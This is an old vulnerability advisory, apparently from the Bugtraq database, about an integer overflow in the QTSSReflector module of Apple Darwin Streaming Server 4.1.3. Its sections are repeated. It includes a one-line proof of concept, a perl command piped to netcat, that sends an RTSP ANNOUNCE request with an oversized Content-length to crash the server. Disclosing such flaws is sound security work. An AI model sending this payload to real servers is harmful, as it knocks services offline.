Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability
BID:7659
Info
Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability
| Bugtraq ID: | 7659 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 22 2003 12:00AM |
| Updated: | May 22 2003 12:00AM |
| Credit: | The discovery of this vulnerability has been credited to Sir Mordred <[email protected]>. |
| Vulnerable: |
Apple Darwin Streaming Server 4.1.3 |
| Not Vulnerable: | |
Discussion
Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability
A vulnerability has been reported for Apple QuickTime/Darwin Streaming Server. The problem is said to occur within the QTSSReflector module while processing the ANNOUNCE command. Specifically, by specifying an extremely large value as an argument within an ANNOUNCE request, it is possible to trigger an unexpected calculation causing the server to crash.
Although it has not been confirmed, it is speculated that this issue may be exploitable to corrupt memory.
A vulnerability has been reported for Apple QuickTime/Darwin Streaming Server. The problem is said to occur within the QTSSReflector module while processing the ANNOUNCE command. Specifically, by specifying an extremely large value as an argument within an ANNOUNCE request, it is possible to trigger an unexpected calculation causing the server to crash.
Although it has not been confirmed, it is speculated that this issue may be exploitable to corrupt memory.
Exploit / POC
Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability
The following proof of concept has been made available:
$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n","A"x8192' | nc -v localhost 554
The following proof of concept has been made available:
$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n","A"x8192' | nc -v localhost 554